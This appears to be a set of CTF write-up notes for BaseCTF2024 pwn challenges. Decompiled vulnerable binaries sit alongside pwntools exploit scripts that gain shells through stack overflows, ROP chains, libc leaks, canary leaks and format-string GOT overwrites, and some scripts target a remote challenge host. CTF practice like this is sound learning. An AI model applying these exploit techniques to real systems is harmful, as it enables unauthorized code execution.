BaseCTF2024

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
4

5
  read(0, buf, 0x100u);
6
  return 0;
7
}
8
int dt_gift()
9
{
10
  puts("lol,you get dt's gift");
11
  return system("/bin/sh");
12
}

1
from pwn import*
2

3
# io = process('./Ret2text')
4
io = remote('challenge.imxbt.cn',31217)
5

6
payload = b'a'*40 + p64(0x4011A3) + p64(0x4011A4)
7
io.sendline(payload)
8

9
io.interactive()

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  _BYTE v4[32]; // [rsp+0h] [rbp-20h] BYREF
4

5
  init(argc, argv, envp);
6
  IO_puts("Why so many functions, it seems that somewhere is not quite the same");
7
  IO_gets(v4);
8
  return 0;
9
}

1
from pwn import *
2
context(arch = 'amd64',log_level = 'debug',terminal = ['tmux','new-window'])
3

4
pop_rax = 0x0000000000419484
5
pop_rdi = 0x0000000000401f2f
6
pop_rsi = 0x0000000000409f9e
7
pop_rdx_rbx = 0x000000000047f2eb
8
syscall = 0x0000000000401ce4
9
retn    = 0x000000000040101a
10
bss     = 0x4C72C0
11
IO_gets = 0x40C270
12

13
# io = process('./gift')
14
# io = remote("challenge.imxbt.cn",30976)
15
# gdb.attach(io)
16
payload1 = flat(
17
    b'a'*40,
18
    p64(pop_rdi),
19
    p64(bss),
20
    p64(pop_rax),
21
    p64(0),
22
    p64(IO_gets),
23

24
    p64(pop_rdi),
25
    p64(bss),
26
    p64(pop_rdx_rbx),
27
    p64(0),
28
    p64(0),
29
    p64(pop_rsi),
30
    p64(0),
31
    p64(pop_rax),
32
    p64(59),
33
    p64(syscall)
34
)
35
io.sendlineafter(b"the same",payload1)
36

37
io.sendline(b'/bin/sh\x00')
38
io.interactive()

1
int shell()
2
{
3
  return system("echo I beleve you.");
4
}
5
ssize_t vuln()
6
{
7
  _BYTE buf[112]; // [rsp+0h] [rbp-70h] BYREF
8

9
  puts("I lost her, what should I do? Help me find her.");
10
  return read(0, buf, 0x150u);
11
}
12
int __fastcall main(int argc, const char **argv, const char **envp)
13
{
14
  init(argc, argv, envp);
15
  vuln();
16
  return 0;
17
}

1
from pwn import *
2
context(arch = 'amd64',log_level = 'debug')
3

4
io = process('./losther')
5

6
bin_sh  = 0x402008
7
pop_rdi = 0x401196
8
retn    = 0x40101a
9
gift    = 0x4011FD
10
payload = b'a'*120
11
payload += flat(
12
    p64(pop_rdi),
13
    p64(bin_sh),
14
    p64(retn),
15
    p64(0x401080)
16
)
17

18
io.recvuntil(b"I lost her, what should I do? Help me find her.\n")
19
io.send(payload)
20
io.interactive()

1
int present()
2
{
3
  return system("ls");
4
}
5
int __fastcall main(int argc, const char **argv, const char **envp)
6
{
7
  _BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF
8

9
  init();
10
  puts("Thank you for helping me find her.");
11
  puts("But she has left me for good this time, what should I do?");
12
  puts("By the way, I still don't know your name, could you tell me your name?");
13
  read(0, buf, 0x100u);
14
  return 0;
15
}

1
from pwn import *
2
context(arch = 'amd64',log_level = 'debug',)
3
context.terminal = ['tmux','new-window']
4

5
io = process('./pwn')
6

7
io.recvuntil(b'name?')
8
pop_rdi = 0x401196
9
retn = 0x40101a
10
pop_rdx = 0x401265
11
pop_rsi = 0x4011ad
12
bss_addr = 0x4040A0
13
call_read = 0x401090
14

15
payload = b'a'*18
16
payload += p64(pop_rdi) + p64(0)
17
payload += p64(pop_rsi) + p64(bss_addr)
18
payload += p64(pop_rdx) + p64(0x100)
19
payload += p64(call_read)
20
payload += p64(pop_rdi) + p64(bss_addr)
21
payload += p64(pop_rdx) + p64(0)
22
payload += p64(pop_rsi) + p64(0)
23
payload += p64(0x401080)
24

25
io.sendline(payload)
26
sleep(1)
27
io.sendline(b"/bin/sh\x00")
28
io.interactive()

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  _BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF
4

5
  init(argc, argv, envp);
6
  puts("I have nothing, what should I do?");
7
  read(0, buf, 0x100u);
8
  return 0;
9
}

1
from pwn import *
2
context(arch = 'amd64',log_level = 'debug',)
3
# context.terminal = ['tmux','new-window']
4

5
elf  = ELF('./pwn')
6
libc = ELF('./libc.so.6')
7

8
pop_rdi = 0x0000000000401176
9
pop_rsi = 0x0000000000401178
10
pop_rdx = 0x0000000000401221
11
retn    = 0x000000000040101a
12

13
io = process('./pwn')
14
io.recvuntil(b"I have nothing, what should I do?\n")
15

16
payload = b'a'*18
17
payload += flat(
18
    p64(pop_rdi),
19
    p64(elf.got['puts']),
20
    p64(elf.plt['puts']),
21
    p64(0x4011DF)
22
)
23

24
io.send(payload)
25
leak = u64(io.recv(6).ljust(8,b'\x00'))
26
info(f"leak: {hex(leak)}")
27

28
libc_base = leak - libc.sym['puts']
29
system=libc_base+libc.symbols['system']
30
bin_sh=libc_base+next(libc.search(b'/bin/sh'))
31
io.recvuntil(b"I have nothing, what should I do?\n")
32

33
payload = b'a'*18
34
payload += flat(
35
    p64(pop_rdi),
36
    p64(bin_sh),
37
    p64(retn),
38
    p64(system)
39
)
40

41
io.send(payload)
42
io.interactive()

1
int getshell()
2
{
3
  return system("/bin/sh");
4
}
5
unsigned __int64 vuln()
6
{
7
  int i; // [rsp+Ch] [rbp-74h]
8
  char buf[104]; // [rsp+10h] [rbp-70h] BYREF
9
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]
10

11
  v3 = __readfsqword(0x28u);
12
  for ( i = 0; i <= 1; ++i )
13
  {
14
    read(0, buf, 0x200u);
15
    puts(buf);
16
  }
17
  return v3 - __readfsqword(0x28u);
18
}
19
int __fastcall main(int argc, const char **argv, const char **envp)
20
{
21
  init(argc, argv, envp);
22
  puts("Hello Hacker!");
23
  vuln();
24
  return 0;
25
}

1
from pwn import *
2
context(arch = 'amd64',log_level = 'debug',terminal = ['tmux','new-window'])
3

4
io=process('./pwn')
5
io.recvuntil(b"Hacker!")
6
payload1 = b'A'*(104)
7

8
io.sendline(payload1)
9
io.recvuntil(b'A'*104 +b'\x0a')
10
canary = u64(io.recv(7).rjust(8,b'\x00'))
11
log.info(f"canary: {hex(canary)}")
12

13
payload2 = flat(
14
    b'A'*104,
15
    p64(canary),
16
    b"SNOWCATT",
17
    p64(0x40101a),
18
    p64(0x4011B6),
19
)
20

21
io.sendline(payload2)
22
io.interactive()

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  int fd; // [rsp+Ch] [rbp-124h]
4
  void *ptr; // [rsp+10h] [rbp-120h]
5
  ssize_t v6; // [rsp+18h] [rbp-118h]
6
  char buf[264]; // [rsp+20h] [rbp-110h] BYREF
7
  unsigned __int64 v8; // [rsp+128h] [rbp-8h]
8

9
  v8 = __readfsqword(0x28u);
10
  init();
11
  ptr = malloc(0x100u);
12
  if ( ptr )
13
  {
14
    fd = open("flag", 0);
15
    if ( fd >= 0 )
16
    {
17
      v6 = read(fd, ptr, 0x100u);
18
      if ( v6 >= 0 )
19
      {
20
        *((_BYTE *)ptr + v6 - 1) = 0;
21
        read(0, buf, 0x100u);
22
        printf(buf);
23
        close(fd);
24
        free(ptr);
25
        return 0;
26
      }
27
      else
28
      {
29
        perror("read failed");
30
        close(fd);
31
        free(ptr);
32
        return 1;
33
      }
34
    }
35
    else
36
    {
37
      perror("open failed");
38
      free(ptr);
39
      return 1;
40
    }
41
  }
42
  else
43
  {
44
    perror("malloc failed");
45
    return 1;
46
  }
47
}

1
pwndbg> stack
2
00:0000│ rsp 0x7fffffffd930 ◂— 0x3000000ba
3
01:0008│-128 0x7fffffffd938 ◂— 0x300000001
4
02:0010│-120 0x7fffffffd940 —▸ 0x5555555592a0 ◂— 'flag{test_flag}\n'
5
03:0018│-118 0x7fffffffd948 ◂— 0x10
6
04:0020│-110 0x7fffffffd950 ◂— 0x102f9
7
05:0028│-108 0x7fffffffd958 ◂— 2
8
06:0030│-100 0x7fffffffd960 ◂— 0x218c0329
9
07:0038│-0f8 0x7fffffffd968 —▸ 0x7fffffffda28 ◂— 0
10
pwndbg> fmtarg 0x7fffffffd940
11
The index of format argument : 8 (\"\%7$p\")
12
pwndbg> n

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  char buf[264]; // [rsp+0h] [rbp-110h] BYREF
4
  unsigned __int64 v5; // [rsp+108h] [rbp-8h]
5

6
  v5 = __readfsqword(0x28u);
7
  init(argc, argv, envp);
8
  read(0, buf, 0x100u);
9
  printf(buf);
10
  if ( target )
11
    readflag();
12
  return 0;
13
}
14
void readflag()
15
{
16
  int fd; // [rsp+Ch] [rbp-14h]
17
  void *ptr; // [rsp+10h] [rbp-10h]
18
  ssize_t v2; // [rsp+18h] [rbp-8h]
19

20
  ptr = malloc(0x100u);
21
  if ( ptr )
22
  {
23
    fd = open("flag", 0);
24
    if ( fd >= 0 )
25
    {
26
      v2 = read(fd, ptr, 0x100u);
27
      if ( v2 >= 0 )
28
      {
29
        *((_BYTE *)ptr + v2 - 1) = 0;
30
        printf((const char *)ptr);
31
      }
32
      else
33
      {
34
        perror("read failed");
35
        close(fd);
36
        free(ptr);
37
      }
38
    }
39
    else
40
    {
41
      perror("open failed");
42
      free(ptr);
43
    }
44
  }
45
  else
46
  {
47
    perror("malloc failed");
48
  }
49
}

1
payload = b'a'*8 + b'%8$nbbbb' + p64(0x4040B0)
2
#      target被写在第8个参数  target地址

1
from pwn import *
2
context(arch='amd64',log_level='debug')
3

4
io=process('vuln')
5
payload =  b'a'*8 + b'%8$nbbbb' + p64(0x4040B0)
6
io.send(payload)
7
io.interactive()

1
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
2
{
3
  char buf[264]; // [rsp+0h] [rbp-110h] BYREF
4
  unsigned __int64 v4; // [rsp+108h] [rbp-8h]
5

6
  v4 = __readfsqword(0x28u);
7
  init(argc, argv, envp);
8
  while ( 1 )
9
  {
10
    read(0, buf, 0x100u);
11
    printf(buf);
12
  }
13
}

1
from pwn import *
2
from LibcSearcher import *
3
context(arch='amd64',log_level='debug')
4
context.terminal=['tmux','new-window']
5

6
read_got = 0x403310
7
printf_got = 0x0403308
8
setvbuf_got = 0x403318
9

10
io = process('./pwn')
11
# gdb.attach(io)
12
payload1 = b'%8$sAAAAAAAA%9$s' + p64(read_got) + p64(setvbuf_got)
13
io.send(payload1)
14
read = u64(io.recv(6).ljust(8, b'\x00'))
15
io.recvuntil(b'A'*8)
16
setvbuf = u64(io.recv(6).ljust(8, b'\x00'))
17
log.info(f"read -> {hex(read)}")
18
log.info(f"setvbuf -> {hex(setvbuf)}")
19

20
libc = LibcSearcher("setvbuf", setvbuf)
21
libc.add_condition("read", read)
22
libc_base = read - libc.dump('read')
23
system = libc_base + libc.dump('system')
24
log.info(f"system -> {hex(system)}")
25

26
payload2 = fmtstr_payload(6,{printf_got:system})
27
io.sendline(payload2)
28

29
io.sendline(b'/bin/sh')
30
io.interactive()

1
int __fastcall main(int argc, const char **argv, const char **envp)
2
{
3
  char buf[264]; // [rsp+0h] [rbp-110h] BYREF
4
  unsigned __int64 v5; // [rsp+108h] [rbp-8h]
5

6
  v5 = __readfsqword(0x28u);
7
  init();
8
  puts("-----");
9
  read(0, buf, 0x110u);
10
  printf(buf);
11
  return 0;
12
}

1
from pwn import *
2
context(arch='amd64',log_level='debug')
3
context.terminal=['tmux','new-window']
4
io = remote("challenge.imxbt.cn",31892)
5
# io = process('./vuln')
6
check_got = 0x403320
7
main_addr = 0x40121B
8
printf_got= 0x403328
9
# gdb.attach(io,'b *0x401288')
10
payload0 = fmtstr_payload(6,{check_got:main_addr})  +b'a'*208
11
log.info(len(payload0))
12
io.recvuntil(b"-----")
13
io.send(payload0)
14

15
io.recvuntil(b'-----\n')
16
payload1 = b'%77$pAAA' + b'B'*264
17
io.send(payload1)
18

19
io.recvuntil(b'0x')
20
libc_base = int(io.recv(12),16) -0x29d90
21
log.info(f"libc -> {hex(libc_base)}")
22

23
libc = ELF('./libc.so.6')
24
system = libc_base + libc.sym['system']
25
log.info(hex(system))
26
io.recvuntil(b'-----\n')
27

28
payload2 = fmtstr_payload(6,{printf_got:system}) + b'C'*(152)
29
log.info(len(payload2))
30
io.send(payload2)
31
io.recvuntil(b'-----\n')
32
io.send(b'/bin/sh\x00')
33

34
io.interactive()